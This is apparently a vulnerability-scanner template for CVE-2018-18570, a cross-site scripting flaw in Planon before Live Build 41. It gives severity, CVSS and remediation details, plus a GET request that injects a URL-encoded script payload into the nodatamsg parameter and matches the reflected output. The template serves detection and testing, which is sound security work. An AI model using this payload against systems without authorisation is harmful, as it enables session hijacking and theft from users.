id: CVE-2018-18570

info:
  name: Planon <Live Build 41 - Cross-Site Scripting
  author: emadshanab
  severity: medium
  description: Planon before Live Build 41 is vulnerable to cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest patch or upgrade to a non-vulnerable version of Planon Live Build.
  reference:
    - https://www2.deloitte.com/de/de/pages/risk/articles/planon-cross-site-scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18570
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-18570
    cwe-id: CWE-79
    epss-score: 0.00098
    epss-percentile: 0.40792
    cpe: cpe:2.3:a:planonsoftware:planon:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: planonsoftware
    product: planon
  tags: cve,cve2018,xss,planon,planonsoftware

http:
  - method: GET
    path:
      - '{{BaseURL}}/wicket/resource/nl.planon.pssm.dashboard.cre.engine.wicket.page.AbstractDashboardPage/html/nodata.html?nodatamsg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ff3d4f988fab5f2f7388dee634c266ae9beac2372eb15cd59b95dcee38992c2d022072dbf3607152c074e6638f1816c61ae61c949752443a0300c3ce0bbd0118927f:922c64590222798bb761d5b6d8e72950